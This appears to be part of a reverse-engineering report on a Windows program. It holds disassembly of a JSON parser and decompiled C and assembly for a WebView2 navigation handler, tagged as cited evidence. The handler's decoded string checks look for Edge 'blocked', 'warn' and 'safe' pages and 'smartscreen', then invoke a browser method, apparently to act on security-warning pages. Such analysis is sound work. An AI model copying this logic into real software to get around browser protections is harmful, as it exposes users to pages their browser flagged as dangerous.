1400078be	f6 44 24 38 01	TEST byte ptr [RSP + local_d0[16]],0x1
1400078c3	0f 84 07 fe ff ff	JZ LAB_1400076d0
1400078c9	48 8b 4c 24 48	MOV RCX,qword ptr [RSP + Stack[-0xb0]]
1400078ce	e8 0d 80 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
1400078d3	e9 f8 fd ff ff	JMP LAB_1400076d0
caseD_7b:
1400078d8	48 ff c3	INC RBX
1400078db	48 89 1f	MOV qword ptr [RDI],RBX
1400078de	c7 06 06 00 00 00	MOV dword ptr [RSI],0x6
1400078e4	48 8b 07	MOV RAX,qword ptr [RDI]
1400078e7	66 0f 1f 84 00 00 00 00 …	NOP word ptr [RAX + RAX*0x1]
LAB_1400078f0:
1400078f0	48 ff c0	INC RAX
1400078f3	0f b6 48 ff	MOVZX ECX,byte ptr [RAX + -0x1]
1400078f7	48 83 f9 20	CMP RCX,0x20
1400078fb	77 0b	JA LAB_140007908
1400078fd	48 0f a3 cd	BT RBP,RCX
140007901	73 05	JNC LAB_140007908
140007903	48 89 07	MOV qword ptr [RDI],RAX
140007906	eb e8	JMP LAB_1400078f0
LAB_140007908:
140007908	83 f9 7d	CMP ECX,0x7d
14000790b	75 71	JNZ LAB_14000797e
LAB_14000790d:
14000790d	48 89 07	MOV qword ptr [RDI],RAX
140007910	b3 01	MOV BL,0x1
140007912	eb 49	JMP LAB_14000795d
caseD_74:
140007914	48 8d 15 4f 3f 09 00	LEA RDX,[DAT_14009b86a]
14000791b	41 b8 04 00 00 00	MOV R8D,0x4
140007921	48 89 d9	MOV RCX,RBX
140007924	e8 47 29 09 00	CALL strncmp
140007929	85 c0	TEST EAX,EAX
14000792b	75 2e	JNZ LAB_14000795b
14000792d	48 83 c3 04	ADD RBX,0x4
140007931	48 89 1f	MOV qword ptr [RDI],RBX
140007934	c7 06 02 00 00 00	MOV dword ptr [RSI],0x2
14000793a	b3 01	MOV BL,0x1
14000793c	eb 1f	JMP LAB_14000795d
caseD_66:
14000793e	48 8d 15 2a 3f 09 00	LEA RDX,[s_false_14009b86f]	; "false"
140007945	41 b8 05 00 00 00	MOV R8D,0x5
14000794b	48 89 d9	MOV RCX,RBX
14000794e	e8 1d 29 09 00	CALL strncmp
140007953	85 c0	TEST EAX,EAX
140007955	0f 84 f5 02 00 00	JZ LAB_140007c50
LAB_14000795b:
14000795b	31 db	XOR EBX,EBX
LAB_14000795d:
14000795d	80 e3 01	AND BL,0x1
140007960	89 d8	MOV EAX,EBX
140007962	0f 28 b4 24 a0 00 00 00	MOVAPS XMM6,xmmword ptr [RSP + local_58[0]]
14000796a	48 81 c4 b8 00 00 00	ADD RSP,0xb8
140007971	5b	POP RBX
140007972	5d	POP RBP
140007973	5f	POP RDI
140007974	5e	POP RSI
140007975	41 5c	POP R12
140007977	41 5d	POP R13
140007979	41 5e	POP R14
14000797b	41 5f	POP R15
14000797d	c3	RET
LAB_14000797e:
14000797e	4c 8d 7c 24 30	LEA R15,[RSP + 0x30]
140007983	4c 8d 76 40	LEA R14,[RSI + 0x40]
140007987	4c 8d 64 24 50	LEA R12,[RSP + 0x50]
14000798c	0f 57 f6	XORPS XMM6,XMM6
LAB_14000798f:
14000798f	48 8b 07	MOV RAX,qword ptr [RDI]
140007992	66 66 66 66 66 2e 0f 1f …	NOP word ptr CS:[RAX + RAX*0x1]
LAB_1400079a0:
1400079a0	48 ff c0	INC RAX
1400079a3	0f b6 48 ff	MOVZX ECX,byte ptr [RAX + -0x1]
1400079a7	48 83 f9 22	CMP RCX,0x22
1400079ab	77 ae	JA LAB_14000795b
1400079ad	48 0f a3 cd	BT RBP,RCX
1400079b1	73 05	JNC LAB_1400079b8
1400079b3	48 89 07	MOV qword ptr [RDI],RAX
1400079b6	eb e8	JMP LAB_1400079a0
LAB_1400079b8:
1400079b8	48 83 f9 22	CMP RCX,0x22
1400079bc	75 9d	JNZ LAB_14000795b
1400079be	0f 29 b4 24 80 00 00 00	MOVAPS xmmword ptr [RSP + local_78[0]],XMM6
1400079c6	48 c7 84 24 90 00 00 00 …	MOV qword ptr [RSP + local_68],0x0
1400079d2	48 89 f9	MOV RCX,RDI
1400079d5	48 8d 94 24 80 00 00 00	LEA RDX,[RSP + 0x80]
1400079dd	e8 5e 04 00 00	CALL FUN_140007e40	; FUN_140007e40: memmove
1400079e2	41 b5 01	MOV R13B,0x1
1400079e5	84 c0	TEST AL,AL
1400079e7	0f 84 09 01 00 00	JZ LAB_140007af6
1400079ed	48 8b 07	MOV RAX,qword ptr [RDI]
LAB_1400079f0:
1400079f0	48 ff c0	INC RAX
1400079f3	0f b6 48 ff	MOVZX ECX,byte ptr [RAX + -0x1]
1400079f7	48 83 f9 3a	CMP RCX,0x3a
1400079fb	0f 87 f5 00 00 00	JA LAB_140007af6
140007a01	48 0f a3 cd	BT RBP,RCX
140007a05	73 05	JNC LAB_140007a0c
140007a07	48 89 07	MOV qword ptr [RDI],RAX
140007a0a	eb e4	JMP LAB_1400079f0
LAB_140007a0c:
140007a0c	48 83 f9 3a	CMP RCX,0x3a
140007a10	0f 85 e0 00 00 00	JNZ LAB_140007af6
140007a16	48 89 07	MOV qword ptr [RDI],RAX
140007a19	c7 44 24 28 00 00 00 00	MOV dword ptr [RSP + local_d0[0]],0x0
140007a21	41 0f 11 77 40	MOVUPS xmmword ptr [R15 + local_88[0]],XMM6
140007a26	41 0f 11 77 30	MOVUPS xmmword ptr [R15 + local_98[0]],XMM6
140007a2b	41 0f 11 77 20	MOVUPS xmmword ptr [R15 + local_a8[0]],XMM6
140007a30	41 0f 11 77 10	MOVUPS xmmword ptr [R15 + local_d0[24]],XMM6
140007a35	41 0f 11 37	MOVUPS xmmword ptr [R15],XMM6
140007a39	48 89 f9	MOV RCX,RDI
140007a3c	48 8d 54 24 28	LEA RDX,[RSP + 0x28]
140007a41	e8 7a fb ff ff	CALL json_parser
140007a46	41 b5 01	MOV R13B,0x1
140007a49	84 c0	TEST AL,AL
140007a4b	0f 84 24 01 00 00	JZ LAB_140007b75
140007a51	48 8b 46 48	MOV RAX,qword ptr [RSI + 0x48]
140007a55	48 3b 46 50	CMP RAX,qword ptr [RSI + 0x50]
140007a59	0f 83 be 00 00 00	JNC LAB_140007b1d
140007a5f	48 8b 8c 24 90 00 00 00	MOV RCX,qword ptr [RSP + local_68]
140007a67	48 89 48 10	MOV qword ptr [RAX + 0x10],RCX
140007a6b	0f 28 84 24 80 00 00 00	MOVAPS XMM0,xmmword ptr [RSP + local_78[0]]
140007a73	0f 11 00	MOVUPS xmmword ptr [RAX],XMM0
140007a76	0f 29 b4 24 80 00 00 00	MOVAPS xmmword ptr [RSP + local_78[0]],XMM6
140007a7e	48 c7 84 24 90 00 00 00 …	MOV qword ptr [RSP + local_68],0x0
140007a8a	0f 10 44 24 28	MOVUPS XMM0,xmmword ptr [RSP + local_d0[0]]
140007a8f	0f 11 40 18	MOVUPS xmmword ptr [RAX + 0x18],XMM0
140007a93	49 8b 4f 18	MOV RCX,qword ptr [R15 + Stack[-0xb0]]
140007a97	48 89 48 38	MOV qword ptr [RAX + 0x38],RCX
140007a9b	41 0f 10 47 08	MOVUPS XMM0,xmmword ptr [R15 + local_d0[16]]
140007aa0	0f 11 40 28	MOVUPS xmmword ptr [RAX + 0x28],XMM0
140007aa4	41 0f 11 77 08	MOVUPS xmmword ptr [R15 + local_d0[16]],XMM6
140007aa9	49 c7 47 18 00 00 00 00	MOV qword ptr [R15 + Stack[-0xb0]],0x0
140007ab1	0f 10 44 24 50	MOVUPS XMM0,xmmword ptr [RSP + local_a8[0]]
140007ab6	0f 11 40 40	MOVUPS xmmword ptr [RAX + 0x40],XMM0
140007aba	48 8b 4c 24 60	MOV RCX,qword ptr [RSP + local_98[0]]
140007abf	48 89 48 50	MOV qword ptr [RAX + 0x50],RCX
140007ac3	41 0f 11 34 24	MOVUPS xmmword ptr [R12],XMM6
140007ac8	49 c7 44 24 10 00 00 00 …	MOV qword ptr [R12 + local_98[0]],0x0
140007ad1	0f 10 44 24 68	MOVUPS XMM0,xmmword ptr [RSP + local_98[8]]
140007ad6	0f 11 40 58	MOVUPS xmmword ptr [RAX + 0x58],XMM0
140007ada	48 8b 4c 24 78	MOV RCX,qword ptr [RSP + local_88[8]]
140007adf	48 89 48 68	MOV qword ptr [RAX + 0x68],RCX
140007ae3	41 0f 11 77 38	MOVUPS xmmword ptr [R15 + local_98[8]],XMM6
140007ae8	49 c7 47 48 00 00 00 00	MOV qword ptr [R15 + local_88[8]],0x0
140007af0	48 83 c0 70	ADD RAX,0x70
140007af4	eb 3c	JMP LAB_140007b32
LAB_140007af6:
140007af6	31 db	XOR EBX,EBX
LAB_140007af8:
140007af8	f6 84 24 80 00 00 00 01	TEST byte ptr [RSP + local_78[0]],0x1
140007b00	74 0d	JZ LAB_140007b0f
140007b02	48 8b 8c 24 90 00 00 00	MOV RCX,qword ptr [RSP + local_68]
140007b0a	e8 d1 7d 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140007b0f:
140007b0f	45 84 ed	TEST R13B,R13B
140007b12	0f 84 77 fe ff ff	JZ LAB_14000798f
140007b18	e9 40 fe ff ff	JMP LAB_14000795d
LAB_140007b1d:
140007b1d	4c 89 f1	MOV RCX,R14
140007b20	48 8d 94 24 80 00 00 00	LEA RDX,[RSP + 0x80]
140007b28	4c 8d 44 24 28	LEA R8,[RSP + 0x28]
140007b2d	e8 fe 09 00 00	CALL FUN_140008530	; FUN_140008530: malloc, free
LAB_140007b32:
140007b32	48 89 46 48	MOV qword ptr [RSI + 0x48],RAX
140007b36	48 8b 07	MOV RAX,qword ptr [RDI]
140007b39	0f 1f 80 00 00 00 00	NOP dword ptr [RAX]
LAB_140007b40:
140007b40	48 ff c0	INC RAX
140007b43	0f b6 48 ff	MOVZX ECX,byte ptr [RAX + -0x1]
140007b47	48 83 f9 2c	CMP RCX,0x2c
140007b4b	77 19	JA LAB_140007b66
140007b4d	48 0f a3 cd	BT RBP,RCX
140007b51	73 05	JNC LAB_140007b58
140007b53	48 89 07	MOV qword ptr [RDI],RAX
140007b56	eb e8	JMP LAB_140007b40
LAB_140007b58:
140007b58	48 83 f9 2c	CMP RCX,0x2c
140007b5c	75 08	JNZ LAB_140007b66
140007b5e	45 31 ed	XOR R13D,R13D
140007b61	48 89 07	MOV qword ptr [RDI],RAX
140007b64	eb 11	JMP LAB_140007b77
LAB_140007b66:
140007b66	83 f9 7d	CMP ECX,0x7d
140007b69	75 0a	JNZ LAB_140007b75
140007b6b	41 b5 01	MOV R13B,0x1
140007b6e	48 89 07	MOV qword ptr [RDI],RAX
140007b71	b3 01	MOV BL,0x1
140007b73	eb 02	JMP LAB_140007b77
LAB_140007b75:
140007b75	31 db	XOR EBX,EBX
LAB_140007b77:
140007b77	4c 8b 64 24 68	MOV R12,qword ptr [RSP + local_98[8]]
140007b7c	4d 85 e4	TEST R12,R12
140007b7f	74 5a	JZ LAB_140007bdb
140007b81	4d 89 f7	MOV R15,R14
140007b84	4c 8b 74 24 70	MOV R14,qword ptr [RSP + local_88[0]]
140007b89	4c 89 e1	MOV RCX,R12
140007b8c	4d 39 f4	CMP R12,R14
140007b8f	75 18	JNZ LAB_140007ba9
140007b91	eb 36	JMP LAB_140007bc9
LAB_140007ba0:
140007ba0	49 83 c6 90	ADD R14,-0x70
140007ba4	4d 39 e6	CMP R14,R12
140007ba7	74 1b	JZ LAB_140007bc4
LAB_140007ba9:
140007ba9	49 8d 4e a8	LEA RCX,[R14 + -0x58]
140007bad	e8 fe 00 00 00	CALL FUN_140007cb0	; FUN_140007cb0: free
140007bb2	41 f6 46 90 01	TEST byte ptr [R14 + -0x70],0x1
140007bb7	74 e7	JZ LAB_140007ba0
140007bb9	49 8b 4e a0	MOV RCX,qword ptr [R14 + -0x60]
140007bbd	e8 1e 7d 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140007bc2	eb dc	JMP LAB_140007ba0
LAB_140007bc4:
140007bc4	48 8b 4c 24 68	MOV RCX,qword ptr [RSP + local_98[8]]
LAB_140007bc9:
140007bc9	4c 89 64 24 70	MOV qword ptr [RSP + local_88[0]],R12
140007bce	e8 0d 7d 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140007bd3	4d 89 fe	MOV R14,R15
140007bd6	4c 8d 7c 24 30	LEA R15,[RSP + 0x30]
LAB_140007bdb:
140007bdb	48 8b 54 24 50	MOV RDX,qword ptr [RSP + local_a8[0]]
140007be0	48 85 d2	TEST RDX,RDX
140007be3	4c 8d 64 24 50	LEA R12,[RSP + 0x50]
140007be8	74 12	JZ LAB_140007bfc
140007bea	4c 89 e1	MOV RCX,R12
140007bed	e8 ee 11 00 00	CALL FUN_140008de0	; FUN_140008de0: free
140007bf2	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + 0x50]
140007bf7	e8 e4 7c 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140007bfc:
140007bfc	f6 44 24 38 01	TEST byte ptr [RSP + local_d0[16]],0x1
140007c01	0f 84 f1 fe ff ff	JZ LAB_140007af8
140007c07	48 8b 4c 24 48	MOV RCX,qword ptr [RSP + Stack[-0xb0]]
140007c0c	e8 cf 7c 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140007c11	e9 e2 fe ff ff	JMP LAB_140007af8
caseD_5c:
140007c16	48 c7 44 24 28 00 00 00 …	MOV qword ptr [RSP + local_d0[0]],0x0
140007c1f	48 8d 54 24 28	LEA RDX,[RSP + 0x28]
140007c24	48 89 d9	MOV RCX,RBX
140007c27	e8 54 26 09 00	CALL strtod
140007c2c	48 8b 44 24 28	MOV RAX,qword ptr [RSP + local_d0[0]]
140007c31	48 3b 07	CMP RAX,qword ptr [RDI]
140007c34	0f 95 c3	SETNZ BL
140007c37	0f 84 20 fd ff ff	JZ LAB_14000795d
140007c3d	48 89 07	MOV qword ptr [RDI],RAX
140007c40	c7 06 03 00 00 00	MOV dword ptr [RSI],0x3
140007c46	f2 0f 11 46 08	MOVSD qword ptr [RSI + 0x8],XMM0
140007c4b	e9 0d fd ff ff	JMP LAB_14000795d
LAB_140007c50:
140007c50	48 83 c3 05	ADD RBX,0x5
140007c54	48 89 1f	MOV qword ptr [RDI],RBX
140007c57	c7 06 01 00 00 00	MOV dword ptr [RSI],0x1
140007c5d	b3 01	MOV BL,0x1
140007c5f	e9 f9 fc ff ff	JMP LAB_14000795d

nav_event_handler

0x140008f601153 bytes

undefined8 nav_event_handler(undefined8 param_1, undefined8 param_2, longlong * param_3, undefined8 param_4)

WebView2 navigation completed event handler, configures browser settings

Cited as: E18
Behaviours: B2
Called from: none found
Calls: CoTaskMemFree FUN_1400049f0, FUN_14001f800, FUN_14001f8e0, memmove, wcslen

Decompiled C · 197 lines

undefined8 nav_event_handler(undefined8 param_1,undefined8 param_2,longlong *param_3,undefined8 param_4)

{
  void *pvVar1;
  wchar_t *_Src;
  byte bVar2;
  size_t sVar3;
  void *pvVar4;
  wchar_t *pwVar5;
  wchar_t **ppwVar6;
  ulonglong uVar7;
  longlong lVar8;
  longlong *plVar9;
  void *pvVar10;
  void *pvVar11;
  longlong lVar12;
  longlong lVar13;
  ulonglong uVar14;
  ulonglong uVar15;
  undefined8 local_50;
  size_t local_48;
  void *local_40;
  wchar_t *local_38;
  
  if (param_3 == (longlong *)0x0) {
    return 0;
  }
  local_38 = (wchar_t *)0x0;
  ppwVar6 = &local_38;
  plVar9 = param_3;
  (**(code **)(*param_3 + 0x18))(param_3);
  _Src = local_38;
  if (local_38 == (wchar_t *)0x0) {
    return 0;
  }
  pwVar5 = local_38;
  sVar3 = wcslen(local_38);
  if (0x7ffffffffffffff5 < sVar3) {
                    /* WARNING: Subroutine does not return */
    FUN_1400049f0(pwVar5,ppwVar6,plVar9,param_4);
  }
  pvVar1 = (void *)((longlong)&local_50 + 2);
  if (sVar3 < 0xb) {
    local_50 = CONCAT71(local_50._1_7_,(char)sVar3 * '\x02');
    pvVar4 = pvVar1;
    if (sVar3 == 0) goto LAB_140009020;
  }
  else {
    lVar8 = 0xe;
    if ((sVar3 | 3) != 0xb) {
      lVar8 = (sVar3 | 3) + 1;
    }
    pvVar4 = (void *)FUN_14001f800(lVar8 * 2,ppwVar6,plVar9,param_4);
    local_50 = lVar8 + 1;
    local_48 = sVar3;
    local_40 = pvVar4;
  }
  memmove(pvVar4,_Src,sVar3 * 2);
LAB_140009020:
  *(undefined2 *)((longlong)pvVar4 + sVar3 * 2) = 0;
  CoTaskMemFree(local_38);
  bVar2 = (byte)local_50 & 1;
  uVar7 = (ulonglong)((byte)local_50 >> 1);
  if ((local_50 & 1) != 0) {
    uVar7 = local_48;
    pvVar1 = local_40;
  }
  pvVar4 = (void *)((longlong)pvVar1 + uVar7 * 2);
  if (0xd < uVar7) {
    uVar14 = uVar7;
    pvVar10 = pvVar1;
    do {
      lVar8 = uVar14 - 0xd;
      lVar12 = 0;
      while (*(short *)((longlong)pvVar10 + lVar12) != 0x65) {
        lVar12 = lVar12 + 2;
        lVar8 = lVar8 + -1;
        if (lVar8 == 0) goto LAB_140009056;
      }
      if (((((*(short *)((longlong)pvVar10 + lVar12 + 2) == 100) &&
            (*(short *)((longlong)pvVar10 + lVar12 + 4) == 0x67)) &&
           (*(short *)((longlong)pvVar10 + lVar12 + 6) == 0x65)) &&
          ((*(short *)((longlong)pvVar10 + lVar12 + 8) == 0x3a &&
           (*(short *)((longlong)pvVar10 + lVar12 + 10) == 0x2f)))) &&
         (((*(short *)((longlong)pvVar10 + lVar12 + 0xc) == 0x2f &&
           ((*(short *)((longlong)pvVar10 + lVar12 + 0xe) == 0x62 &&
            (*(short *)((longlong)pvVar10 + lVar12 + 0x10) == 0x6c)))) &&
          ((*(short *)((longlong)pvVar10 + lVar12 + 0x12) == 0x6f &&
           ((((*(short *)((longlong)pvVar10 + lVar12 + 0x14) == 99 &&
              (*(short *)((longlong)pvVar10 + lVar12 + 0x16) == 0x6b)) &&
             (*(short *)((longlong)pvVar10 + lVar12 + 0x18) == 0x65)) &&
            (*(short *)((longlong)pvVar10 + lVar12 + 0x1a) == 100)))))))) {
        if (((void *)((longlong)pvVar10 + lVar12) != pvVar4) &&
           ((longlong)pvVar1 + (-2 - (longlong)pvVar10) != lVar12)) goto LAB_1400093a1;
        break;
      }
      lVar8 = (uVar7 * 2 + -2) - (longlong)pvVar10;
      pvVar10 = (void *)((longlong)pvVar10 + lVar12 + 2);
      uVar14 = (longlong)pvVar1 + (lVar8 - lVar12) >> 1;
    } while (0xd < (longlong)uVar14);
  }
LAB_140009056:
  if (10 < uVar7) {
    lVar8 = uVar7 * 2 + -2;
    pvVar10 = pvVar1;
    uVar14 = uVar7;
    do {
      lVar13 = uVar14 - 10;
      lVar12 = 0;
      while (pvVar11 = pvVar1, uVar15 = uVar7, *(short *)((longlong)pvVar10 + lVar12) != 0x65) {
        lVar12 = lVar12 + 2;
        lVar13 = lVar13 + -1;
        if (lVar13 == 0) goto LAB_140009204;
      }
      if ((((((*(short *)((longlong)pvVar10 + lVar12 + 2) == 100) &&
             (*(short *)((longlong)pvVar10 + lVar12 + 4) == 0x67)) &&
            ((*(short *)((longlong)pvVar10 + lVar12 + 6) == 0x65 &&
             (((*(short *)((longlong)pvVar10 + lVar12 + 8) == 0x3a &&
               (*(short *)((longlong)pvVar10 + lVar12 + 10) == 0x2f)) &&
              (*(short *)((longlong)pvVar10 + lVar12 + 0xc) == 0x2f)))))) &&
           ((*(short *)((longlong)pvVar10 + lVar12 + 0xe) == 0x77 &&
            (*(short *)((longlong)pvVar10 + lVar12 + 0x10) == 0x61)))) &&
          (*(short *)((longlong)pvVar10 + lVar12 + 0x12) == 0x72)) &&
         (*(short *)((longlong)pvVar10 + lVar12 + 0x14) == 0x6e)) {
        if (((void *)((longlong)pvVar10 + lVar12) != pvVar4) &&
           ((longlong)pvVar1 + (-2 - (longlong)pvVar10) != lVar12)) goto LAB_1400093a1;
        break;
      }
      lVar13 = lVar8 - (longlong)pvVar10;
      pvVar10 = (void *)((longlong)pvVar10 + lVar12 + 2);
      uVar14 = (longlong)pvVar1 + (lVar13 - lVar12) >> 1;
    } while (10 < (longlong)uVar14);
LAB_140009204:
    do {
      lVar13 = uVar15 - 10;
      lVar12 = 0;
      while (pvVar10 = pvVar1, *(short *)((longlong)pvVar11 + lVar12) != 0x65) {
        lVar12 = lVar12 + 2;
        lVar13 = lVar13 + -1;
        if (lVar13 == 0) goto LAB_1400092a1;
      }
      if ((((((*(short *)((longlong)pvVar11 + lVar12 + 2) == 100) &&
             (*(short *)((longlong)pvVar11 + lVar12 + 4) == 0x67)) &&
            (*(short *)((longlong)pvVar11 + lVar12 + 6) == 0x65)) &&
           ((*(short *)((longlong)pvVar11 + lVar12 + 8) == 0x3a &&
            (*(short *)((longlong)pvVar11 + lVar12 + 10) == 0x2f)))) &&
          (*(short *)((longlong)pvVar11 + lVar12 + 0xc) == 0x2f)) &&
         (((*(short *)((longlong)pvVar11 + lVar12 + 0xe) == 0x73 &&
           (*(short *)((longlong)pvVar11 + lVar12 + 0x10) == 0x61)) &&
          ((*(short *)((longlong)pvVar11 + lVar12 + 0x12) == 0x66 &&
           (*(short *)((longlong)pvVar11 + lVar12 + 0x14) == 0x65)))))) {
        if (((void *)((longlong)pvVar11 + lVar12) != pvVar4) &&
           ((longlong)pvVar1 + (-2 - (longlong)pvVar11) != lVar12)) goto LAB_1400093a1;
        break;
      }
      uVar15 = (longlong)pvVar1 + ((lVar8 - (longlong)pvVar11) - lVar12) >> 1;
      pvVar11 = (void *)((longlong)pvVar11 + lVar12 + 2);
    } while (10 < (longlong)uVar15);
LAB_1400092a1:
    do {
      lVar12 = uVar7 - 10;
      lVar13 = 0;
      while (*(short *)((longlong)pvVar10 + lVar13) != 0x73) {
        lVar13 = lVar13 + 2;
        lVar12 = lVar12 + -1;
        if (lVar12 == 0) goto LAB_140009060;
      }
      if (((((*(short *)((longlong)pvVar10 + lVar13 + 2) == 0x6d) &&
            (*(short *)((longlong)pvVar10 + lVar13 + 4) == 0x61)) &&
           (*(short *)((longlong)pvVar10 + lVar13 + 6) == 0x72)) &&
          (((*(short *)((longlong)pvVar10 + lVar13 + 8) == 0x74 &&
            (*(short *)((longlong)pvVar10 + lVar13 + 10) == 0x73)) &&
           ((*(short *)((longlong)pvVar10 + lVar13 + 0xc) == 99 &&
            ((*(short *)((longlong)pvVar10 + lVar13 + 0xe) == 0x72 &&
             (*(short *)((longlong)pvVar10 + lVar13 + 0x10) == 0x65)))))))) &&
         ((*(short *)((longlong)pvVar10 + lVar13 + 0x12) == 0x65 &&
          (*(short *)((longlong)pvVar10 + lVar13 + 0x14) == 0x6e)))) {
        if (((void *)((longlong)pvVar10 + lVar13) != pvVar4) &&
           ((longlong)pvVar1 + (-2 - (longlong)pvVar10) != lVar13)) {
LAB_1400093a1:
          (**(code **)(*param_3 + 0x40))(param_3,1);
          bVar2 = (byte)local_50 & 1;
        }
        break;
      }
      uVar7 = (longlong)pvVar1 + ((lVar8 - (longlong)pvVar10) - lVar13) >> 1;
      pvVar10 = (void *)((longlong)pvVar10 + lVar13 + 2);
    } while (10 < (longlong)uVar7);
  }
LAB_140009060:
  if (bVar2 != 0) {
    FUN_14001f8e0(local_40);
  }
  return 0;
}

Assembly · 288 instructions, 3 annotated

Address	Bytes	Instruction	Comment
140008f60	41 57	PUSH R15
140008f62	41 56	PUSH R14
140008f64	41 54	PUSH R12
140008f66	56	PUSH RSI
140008f67	57	PUSH RDI
140008f68	53	PUSH RBX
140008f69	48 83 ec 48	SUB RSP,0x48
140008f6d	4d 85 c0	TEST R8,R8
140008f70	0f 84 f8 00 00 00	JZ LAB_14000906e
140008f76	48 c7 44 24 40 00 00 00 …	MOV qword ptr [RSP + local_38],0x0
140008f7f	49 8b 00	MOV RAX,qword ptr [R8]
140008f82	48 8d 54 24 40	LEA RDX,[RSP + 0x40]
140008f87	4d 89 c6	MOV R14,R8
140008f8a	4c 89 c1	MOV RCX,R8
140008f8d	ff 50 18	CALL qword ptr [RAX + 0x18]
140008f90	48 8b 74 24 40	MOV RSI,qword ptr [RSP + local_38]
140008f95	48 85 f6	TEST RSI,RSI
140008f98	0f 84 d0 00 00 00	JZ LAB_14000906e
140008f9e	48 89 f1	MOV RCX,RSI
140008fa1	e8 ea 12 09 00	CALL wcslen
140008fa6	48 89 c7	MOV RDI,RAX
140008fa9	48 b8 f6 ff ff ff ff ff …	MOV RAX,0x7ffffffffffffff6
140008fb3	48 39 c7	CMP RDI,RAX
140008fb6	0f 83 20 04 00 00	JNC LAB_1400093dc
140008fbc	4c 8d 7c 24 2a	LEA R15,[RSP + 0x2a]
140008fc1	48 83 ff 0b	CMP RDI,0xb
140008fc5	73 11	JNC LAB_140008fd8
140008fc7	8d 04 3f	LEA EAX,[RDI + RDI*0x1]
140008fca	88 44 24 28	MOV byte ptr [RSP + local_50],AL
140008fce	4c 89 fb	MOV RBX,R15
140008fd1	48 85 ff	TEST RDI,RDI
140008fd4	75 39	JNZ LAB_14000900f
140008fd6	eb 48	JMP LAB_140009020
LAB_140008fd8:
140008fd8	48 89 f8	MOV RAX,RDI
140008fdb	48 83 c8 03	OR RAX,0x3
140008fdf	48 8d 48 01	LEA RCX,[RAX + 0x1]
140008fe3	48 83 f8 0b	CMP RAX,0xb
140008fe7	41 bc 0e 00 00 00	MOV R12D,0xe
140008fed	4c 0f 45 e1	CMOVNZ R12,RCX
140008ff1	4b 8d 0c 24	LEA RCX,[R12 + R12*0x1]
140008ff5	e8 06 68 01 00	CALL FUN_14001f800	; FUN_14001f800: malloc
140008ffa	48 89 c3	MOV RBX,RAX
140008ffd	48 89 44 24 38	MOV qword ptr [RSP + local_40],RAX
140009002	49 ff c4	INC R12
140009005	4c 89 64 24 28	MOV qword ptr [RSP + local_50],R12
14000900a	48 89 7c 24 30	MOV qword ptr [RSP + local_48],RDI
LAB_14000900f:
14000900f	49 89 f8	MOV R8,RDI
140009012	49 01 f8	ADD R8,RDI
140009015	48 89 d9	MOV RCX,RBX
140009018	48 89 f2	MOV RDX,RSI
14000901b	e8 20 12 09 00	CALL memmove
LAB_140009020:
140009020	66 c7 04 7b 00 00	MOV word ptr [RBX + RDI*0x2],0x0
140009026	48 8b 4c 24 40	MOV RCX,qword ptr [RSP + local_38]
14000902b	ff 15 57 92 0a 00	CALL qword ptr [PTR_CoTaskMemFree_1400b2288]
140009031	0f b6 44 24 28	MOVZX EAX,byte ptr [RSP + local_50]
140009036	89 c2	MOV EDX,EAX
140009038	d1 ea	SHR EDX,0x1
14000903a	24 01	AND AL,0x1
14000903c	4c 0f 45 7c 24 38	CMOVNZ R15,qword ptr [RSP + local_40]
140009042	48 0f 45 54 24 30	CMOVNZ RDX,qword ptr [RSP + local_48]
140009048	4c 8d 04 12	LEA R8,[RDX + RDX*0x1]
14000904c	49 8d 0c 57	LEA RCX,[R15 + RDX*0x2]
140009050	48 83 fa 0e	CMP RDX,0xe
140009054	73 28	JNC LAB_14000907e
LAB_140009056:
140009056	48 83 fa 0b	CMP RDX,0xb
14000905a	0f 83 ee 00 00 00	JNC LAB_14000914e
LAB_140009060:
140009060	84 c0	TEST AL,AL
140009062	74 0a	JZ LAB_14000906e
140009064	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + local_40]
140009069	e8 72 68 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_14000906e:
14000906e	31 c0	XOR EAX,EAX
140009070	48 83 c4 48	ADD RSP,0x48
140009074	5b	POP RBX
140009075	5f	POP RDI
140009076	5e	POP RSI
140009077	41 5c	POP R12
140009079	41 5e	POP R14
14000907b	41 5f	POP R15
14000907d	c3	RET
LAB_14000907e:
14000907e	4f 8d 0c 07	LEA R9,[R15 + R8*0x1]
140009082	49 83 c1 fe	ADD R9,-0x2
140009086	48 89 d6	MOV RSI,RDX
140009089	4d 89 fa	MOV R10,R15
LAB_14000908c:
14000908c	48 83 c6 f3	ADD RSI,-0xd
140009090	45 31 db	XOR R11D,R11D
140009093	66 66 66 66 2e 0f 1f 84 …	NOP dword ptr CS:[RAX + RAX*0x1]
LAB_1400090a0:
1400090a0	66 43 83 3c 1a 65	CMP word ptr [R10 + R11*0x1],0x65
1400090a6	74 0b	JZ LAB_1400090b3
1400090a8	49 83 c3 02	ADD R11,0x2
1400090ac	48 ff ce	DEC RSI
1400090af	75 ef	JNZ LAB_1400090a0
1400090b1	eb a3	JMP LAB_140009056
LAB_1400090b3:
1400090b3	66 43 83 7c 1a 02 64	CMP word ptr [R10 + R11*0x1 + 0x2],0x64
1400090ba	75 70	JNZ LAB_14000912c
1400090bc	66 43 83 7c 1a 04 67	CMP word ptr [R10 + R11*0x1 + 0x4],0x67
1400090c3	75 67	JNZ LAB_14000912c
1400090c5	66 43 83 7c 1a 06 65	CMP word ptr [R10 + R11*0x1 + 0x6],0x65
1400090cc	75 5e	JNZ LAB_14000912c
1400090ce	66 43 83 7c 1a 08 3a	CMP word ptr [R10 + R11*0x1 + 0x8],0x3a
1400090d5	75 55	JNZ LAB_14000912c
1400090d7	66 43 83 7c 1a 0a 2f	CMP word ptr [R10 + R11*0x1 + 0xa],0x2f
1400090de	75 4c	JNZ LAB_14000912c
1400090e0	66 43 83 7c 1a 0c 2f	CMP word ptr [R10 + R11*0x1 + 0xc],0x2f
1400090e7	75 43	JNZ LAB_14000912c
1400090e9	66 43 83 7c 1a 0e 62	CMP word ptr [R10 + R11*0x1 + 0xe],0x62
1400090f0	75 3a	JNZ LAB_14000912c
1400090f2	66 43 83 7c 1a 10 6c	CMP word ptr [R10 + R11*0x1 + 0x10],0x6c
1400090f9	75 31	JNZ LAB_14000912c
